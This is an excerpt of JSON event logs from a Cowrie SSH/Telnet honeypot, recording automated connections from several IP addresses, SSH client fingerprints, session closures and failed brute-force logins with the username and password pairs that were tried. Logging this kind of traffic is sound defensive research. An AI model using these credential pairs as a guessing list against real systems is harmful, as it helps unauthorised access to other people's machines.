{"eventid":"cowrie.session.closed","duration":120.00087070465088,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:06.471429Z","src_ip":"152.42.224.71","session":"53d8dd0e29e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56584,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2f7894b03fd","protocol":"telnet","message":"New connection: 152.42.224.71:56584 (10.17.0.5:23) [session: b2f7894b03fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:06.596290Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"alessandra","message":"login attempt [admin/alessandra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:06.629769Z","src_ip":"2.57.121.112","session":"6fb8660738a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22041978","message":"login attempt [user/22041978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:06.753809Z","src_ip":"2.57.121.25","session":"d4ad5ba19755","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56590,"dst_ip":"10.17.0.5","dst_port":23,"session":"12d338a3755d","protocol":"telnet","message":"New connection: 152.42.224.71:56590 (10.17.0.5:23) [session: 12d338a3755d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:07.637219Z"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:07.733393Z","src_ip":"2.57.121.112","session":"6fb8660738a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:07.856778Z","src_ip":"2.57.121.25","session":"d4ad5ba19755","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00922775268555,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:15.790841Z","src_ip":"152.42.224.71","session":"976c3390b690","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.911630153656006,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:15.892126Z","src_ip":"152.42.224.71","session":"95b8b6373aa7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.03239631652832,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:16.132490Z","src_ip":"152.42.224.71","session":"fd725b8ede1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45464,"dst_ip":"10.17.0.5","dst_port":23,"session":"b344d1a5207a","protocol":"telnet","message":"New connection: 152.42.224.71:45464 (10.17.0.5:23) [session: b344d1a5207a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:20.523188Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":37854,"dst_ip":"159.203.135.109","dst_port":22,"session":"a92d22903063","protocol":"ssh","message":"New connection: 147.45.199.80:37854 (159.203.135.109:22) [session: a92d22903063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:22.182181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:22.185935Z","src_ip":"147.45.199.80","session":"a92d22903063","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:22.283146Z","src_ip":"147.45.199.80","session":"a92d22903063","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"585858","message":"login attempt [root/585858] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:22.574208Z","src_ip":"147.45.199.80","session":"a92d22903063","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:23.674050Z","src_ip":"147.45.199.80","session":"a92d22903063","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45468,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdbc92748b2b","protocol":"telnet","message":"New connection: 152.42.224.71:45468 (10.17.0.5:23) [session: cdbc92748b2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:25.621493Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":36458,"dst_ip":"10.17.0.5","dst_port":22,"session":"339f6151793f","protocol":"ssh","message":"New connection: 147.45.211.215:36458 (10.17.0.5:22) [session: 339f6151793f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:28.219353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:28.224083Z","src_ip":"147.45.211.215","session":"339f6151793f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:28.406835Z","src_ip":"147.45.211.215","session":"339f6151793f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"66666","message":"login attempt [root/66666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:28.945061Z","src_ip":"147.45.211.215","session":"339f6151793f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:30.129057Z","src_ip":"147.45.211.215","session":"339f6151793f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.61899518966675,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:34.534515Z","src_ip":"152.42.224.71","session":"137332aad149","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":39148,"dst_ip":"10.17.0.5","dst_port":22,"session":"be761290a137","protocol":"ssh","message":"New connection: 80.94.92.184:39148 (10.17.0.5:22) [session: be761290a137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:34.854874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:34.984899Z","src_ip":"80.94.92.184","session":"be761290a137","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:34.988682Z","src_ip":"80.94.92.184","session":"be761290a137","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"abc123","message":"login attempt [solv/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:35.984028Z","src_ip":"80.94.92.184","session":"be761290a137","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:37.293814Z","src_ip":"80.94.92.184","session":"be761290a137","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49794,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9ea6bed5e3d","protocol":"telnet","message":"New connection: 152.42.224.71:49794 (10.17.0.5:23) [session: c9ea6bed5e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:38.968357Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49808,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c0a76989558","protocol":"telnet","message":"New connection: 152.42.224.71:49808 (10.17.0.5:23) [session: 4c0a76989558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:43.219844Z"}
{"eventid":"cowrie.session.closed","duration":47.542656660079956,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:44.479385Z","src_ip":"152.42.224.71","session":"54b995e3dd0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":22.090309143066406,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:47.711687Z","src_ip":"152.42.224.71","session":"cdbc92748b2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":59040,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e8c80a43c80","protocol":"ssh","message":"New connection: 194.113.233.25:59040 (10.17.0.5:22) [session: 4e8c80a43c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:49.386626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:49.391096Z","src_ip":"194.113.233.25","session":"4e8c80a43c80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:49.482434Z","src_ip":"194.113.233.25","session":"4e8c80a43c80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qqq","message":"login attempt [root/12345qqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:49.750645Z","src_ip":"194.113.233.25","session":"4e8c80a43c80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:50.842892Z","src_ip":"194.113.233.25","session":"4e8c80a43c80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.91262984275818,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:53.508649Z","src_ip":"152.42.224.71","session":"b2f7894b03fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59142,"dst_ip":"10.17.0.5","dst_port":23,"session":"ede1018fcce0","protocol":"telnet","message":"New connection: 152.42.224.71:59142 (10.17.0.5:23) [session: ede1018fcce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:56.049828Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58760,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff06adc7c4db","protocol":"telnet","message":"New connection: 152.42.224.71:58760 (10.17.0.5:23) [session: ff06adc7c4db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:16:59.272068Z"}
{"eventid":"cowrie.session.closed","duration":120.00433254241943,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:02.728625Z","src_ip":"152.42.224.71","session":"388756c19c3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.24256348609924,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:07.765648Z","src_ip":"152.42.224.71","session":"b344d1a5207a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60890,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e1c1fb701dd","protocol":"telnet","message":"New connection: 152.42.224.71:60890 (10.17.0.5:23) [session: 9e1c1fb701dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:08.181954Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60900,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2846eb11f4a","protocol":"telnet","message":"New connection: 152.42.224.71:60900 (10.17.0.5:23) [session: a2846eb11f4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:11.752832Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60904,"dst_ip":"10.17.0.5","dst_port":23,"session":"b64eb6848c23","protocol":"telnet","message":"New connection: 152.42.224.71:60904 (10.17.0.5:23) [session: b64eb6848c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:12.091786Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60908,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e3a3f3c8be7","protocol":"telnet","message":"New connection: 152.42.224.71:60908 (10.17.0.5:23) [session: 8e3a3f3c8be7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:14.326492Z"}
{"eventid":"cowrie.session.closed","duration":39.6300528049469,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:18.598329Z","src_ip":"152.42.224.71","session":"c9ea6bed5e3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38952,"dst_ip":"10.17.0.5","dst_port":23,"session":"828ce34c1ca8","protocol":"telnet","message":"New connection: 152.42.224.71:38952 (10.17.0.5:23) [session: 828ce34c1ca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:25.142240Z"}
{"eventid":"cowrie.session.closed","duration":120.00230717658997,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:26.887356Z","src_ip":"152.42.224.71","session":"aa5e323c252d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44878,"dst_ip":"10.17.0.5","dst_port":23,"session":"607fb88a316a","protocol":"telnet","message":"New connection: 152.42.224.71:44878 (10.17.0.5:23) [session: 607fb88a316a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:27.394678Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44880,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d05ec067069","protocol":"telnet","message":"New connection: 152.42.224.71:44880 (10.17.0.5:23) [session: 1d05ec067069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:27.416727Z"}
{"eventid":"cowrie.session.closed","duration":46.437262296676636,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:29.656965Z","src_ip":"152.42.224.71","session":"4c0a76989558","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44894,"dst_ip":"10.17.0.5","dst_port":23,"session":"df5c7c3e05f3","protocol":"telnet","message":"New connection: 152.42.224.71:44894 (10.17.0.5:23) [session: df5c7c3e05f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:29.796142Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":34874,"dst_ip":"159.203.135.109","dst_port":22,"session":"53e76b3d9b1c","protocol":"ssh","message":"New connection: 103.195.236.96:34874 (159.203.135.109:22) [session: 53e76b3d9b1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:34.836962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:34.841581Z","src_ip":"103.195.236.96","session":"53e76b3d9b1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:35.081309Z","src_ip":"103.195.236.96","session":"53e76b3d9b1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00165104866028,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:35.569929Z","src_ip":"152.42.224.71","session":"f822366ed1b9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"4815162342a","message":"login attempt [root/4815162342a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:17:35.813951Z","src_ip":"103.195.236.96","session":"53e76b3d9b1c","protocol":"ssh"}
